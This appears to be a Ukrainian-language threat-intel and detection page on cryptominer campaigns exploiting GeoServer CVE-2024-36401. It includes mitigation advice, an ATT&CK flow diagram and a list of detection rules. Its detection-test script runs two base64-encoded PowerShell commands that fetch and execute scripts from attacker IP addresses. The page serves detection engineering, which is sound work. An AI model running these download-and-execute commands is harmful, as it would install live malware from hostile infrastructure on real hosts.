GeoServer під атакою: кампанії з використанням шкідливого програмного забезпечення для майнінгу криптовалют
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Зловмисники експлуатують вразливість віддаленого виконання коду GeoServer, CVE-2024-36401, для розгортання криптовалютних майнерів і NetCat на незахищених серверах. Діяльність ґрунтується на PowerShell, Bash та certutil для завантаження та запуску XMRig з кількох шкідливих доменів та IP-адрес. Використовуються кілька скриптів-завантажувачів та дропперів, часто упакованих в ZIP-архіви й збережених як служби через NSSM. Основна мета – захоплення обчислювальних ресурсів для несанкціонованого майнінгу.
Дослідження
У звіті описуються три варіанти (A, B, C), які використовують кодований PowerShell, Bash-завантажувачі та certutil для отримання майнерів з pool.supportxmr.com та кількох піддоменів aaaaaaaaa.cyou. Механізми доставки включають bat-скрипти, ZIP-архіви та спеціальний завантажувач з назвою systemd, а також облікові дані HTTP Basic автентифікації. Аналітики вилучили ключові індикатори — URL, IP-адреси та імена файлів — для підтримки виявлення та обсягу аналізу.
Пом’якшення
Впровадьте патчі GeoServer, що усувають CVE-2024-36401, і підтримуйте розгортання на останній підтримуваній версії. Блокуйте вихідні з’єднання на відомі майнінгові пули та пов’язану інфраструктуру, а також слідкуйте за підозрілими виконаннями закодованих PowerShell чи Bash. Обмежте використання certutil для контекстів без адміністративних прав та впровадьте списки дозволених додатків для запобігання несанкціонованих служб, встановлених через NSSM.
Відповідь
Реалізуйте виявлення для спостережуваних команд, хешів і мережевих індикаторів. Карантинуйте уражені хости, знищуйте служби майнерів і артефакти стійкості, а також проведіть криміналістичну перевірку на предмет будь-яких вторинних навантажень. Переорієнтуйте відкриті облікові дані та вимагайте багатофакторну автентифікацію для адміністративного доступу.
“graph TB %% Class definitions classDef action fill:#ffcc99 %% Action/Technique nodes classDef builtin fill:#e0e0e0 %% Tool and builtu2011in utility nodes classDef malware fill:#ff9999 %% Malware nodes %% Node definitions tech_initial_access[“<b>Техніка</b> – <b>T1210 Експлуатація віддалених сервісів</b><br />Опис: Експлуатація CVEu20112024u201136401 у GeoServer для віддаленого виконання коду”] class tech_initial_access action tool_geoserver[“<b>Інструмент</b> – <b>Назва</b>: GeoServer<br /><b>Вразливість</b>: CVEu20112024u201136401”] class tool_geoserver builtin tech_execution_ps[“<b>Техніка</b> – <b>T1059.001 PowerShell</b><br />Опис: Запуск закодованих команд PowerShell для завантаження та запуску шкідливих скриптів”] class tech_execution_ps action tool_powershell[“<b>Інструмент</b> – <b>Назва</b>: PowerShell”] class tool_powershell builtin tech_obfuscation[“<b>Техніка</b> – <b>T1027 Сховані файли або інформація</b><br />Опис: Base64у2011кодування корисних навантажень, що доставляються через certutil і Bash”] class tech_obfuscation action tool_certutil[“<b>Інструмент</b> – <b>Назва</b>: certutil”] class tool_certutil builtin tool_bash[“<b>Інструмент</b> – <b>Назва</b>: Bash”] class tool_bash builtin tech_deobfuscation[“<b>Техніка</b> – <b>T1140 Розшифрування/Декодування файлів або інформації</b><br />Опис: Декодування Base64 корисних навантажень на хості перед виконанням”] class tech_deobfuscation action tech_defense_evasion[“<b>Техніка</b> – <b>T1562 Порушення захисту</b><br />Опис: Вимкнення Windows Defender і додавання винятків файлів/шляхів”] class tech_defense_evasion action tool_windows_defender[“<b>Інструмент</b> – <b>Назва</b>: Windows Defender”] class tool_windows_defender builtin tech_persistence[“<b>Техніка</b> – <b>T1543.002 Створення або зміна системного процесу: служба Systemd</b><br />Опис: Використання NSSM для установки XMRig як постійну службу”] class tech_persistence action tool_nssm[“<b>Інструмент</b> – <b>Назва</b>: NSSM (Неу2011всмоктуючий менеджер служб)”] class tool_nssm builtin malware_xmrig[“<b>Шкідливе програмне забезпечення</b> – <b>Назва</b>: XMRig<br /><b>Призначення</b>: Майнінг криптовалюти”] class malware_xmrig malware tech_impact[“<b>Техніка</b> – <b>T1496.001 Викрадення обчислювальних потужностей</b><br />Опис: Викрадення циклів процесора для майнінгу криптовалюти”] class tech_impact action tech_indirect_execution[“<b>Техніка</b> – <b>T1202 Непряма команда виконання</b><br />Опис: PowerShell запускає додаткові скрипти через Bash і Netcat”] class tech_indirect_execution action tool_netcat[“<b>Інструмент</b> – <b>Назва</b>: Netcat”] class tool_netcat builtin %% Зв’язки tool_geoserver u002du002d>|використано для експлуатації| tech_initial_access tech_initial_access u002du002d>|дозволяє| tech_execution_ps tech_execution_ps u002du002d>|використовує| tool_powershell tech_execution_ps u002du002d>|завантажує через| tool_certutil tech_execution_ps u002du002d>|запускає| tool_bash tech_execution_ps u002du002d>|запускає| tool_netcat tool_certutil u002du002d>|доставляє закодовані навантаження до| tech_obfuscation tool_bash u002du002d>|виконує закодовані навантаження для| tech_obfuscation tech_obfuscation u002du002d>|потребує| tech_deobfuscation tech_deobfuscation u002du002d>|готує середовище для| tech_defense_evasion tech_defense_evasion u002du002d>|вимикає| tool_windows_defender tech_defense_evasion u002du002d>|веде до| tech_persistence tech_persistence u002du002d>|використовує| tool_nssm tool_nssm u002du002d>|встановлює| malware_xmrig malware_xmrig u002du002d>|виконує| tech_impact tech_execution_ps u002du002d>|запускає| tech_indirect_execution tech_indirect_execution u002du002d>|використовує| tool_bash tech_indirect_execution u002du002d>|використовує| tool_netcat tech_indirect_execution u002du002d>|сприяє| malware_xmrig “
Потік атаки
Виявлення
Відключення захисту Windows Defender (через registry_event)
Перегляд
Підозрілі зміни в налаштуваннях Windows Defender (через powershell)
Перегляд
Можливі точки стійкості [ASEPs – Hive Software/NTUSER] (через registry_event)
Перегляд
Schtasks вказує на підозрілий каталог / Бінарний файл / Скрипт (через cmdline)
Перегляд
Підозрілі файли в профілі загальнодоступного користувача (через file_event)
Перегляд
Завантаження або вивантаження через Powershell (через cmdline)
Перегляд
Індикатори скомпрометованості (SourceIP) для виявлення: Випадки атаки шкідливого ПЗ Coin Miner, націлені на GeoServer
Перегляд
Індикатори скомпрометованості (DestinationIP) для виявлення: Випадки атаки шкідливого ПЗ Coin Miner, націлені на GeoServer
Перегляд
Індикатори скомпрометованості (HashMd5) для виявлення: Випадки атаки шкідливого ПЗ Coin Miner, націлені на GeoServer
Перегляд
Виявлення використання Certutil для завантаження шкідливих навантажень, які експлуатують уразливості GeoServer [Створення процесів Windows]
Перегляд
Виявлення закодованих команд PowerShell, націлених на уразливості GeoServer [Windows Powershell]
Перегляд
Виконання симуляції
Передумова: Повинна бути завершена перевірка телеметрії та базової лінії.
Обґрунтування: Цей розділ деталізує точне виконання техніки супротивника (TTP), призначене для активації правила виявлення. Команди і розповідь повинні безпосередньо відображати ідентифіковані TTPs і спрямовані на генерування точної телеметрії, очікуваної логікою виявлення.
-
Опис атаки та команди:
Атакуючий отримав шкідливе навантаження Base64, яке завантажує вразливий конфігураційний файл GeoServer, виконує його, а потім скидає криптовалютний майнер. Щоб уникнути простої блокировки скриптів, нападник використовує-encперемикач з попередньо закодованим рядком (один з двох відомих ІОС). Нападник запускає навантаження локально на зламаному Windows-хості, що викликає створення процесуpowershell.exeіз включеною точною Base64 стрічкою, за якою стежить правило. -
Скрипт регресійного тестування:
# ------------------------------------------------- # Регресійний скрипт для активації правила Sigma # ------------------------------------------------- # Навантаження 1 (відповідає першому ІОС) $b64_1 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMjIwLjg0LjEwNy42OS9qcy9ndy50eHQnKQA=' powershell.exe -enc $b64_1 # Навантаження 2 (відповідає другому ІОС) $b64_2 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8xMTkuMTk0LjE1My4zMTo4MDgwL2ljb24vanMvd2kudHh0Jyk=' powershell.exe -enc $b64_2 -
Команди очищення:
# ------------------------------------------------- # Очищення – завершення будь-яких незакритих навантажень PowerShell # ------------------------------------------------- Get-Process -Name powershell -ErrorAction SilentlyContinue | Where-Object { $_.StartInfo.Arguments -match '-enc' } | Stop-Process -Force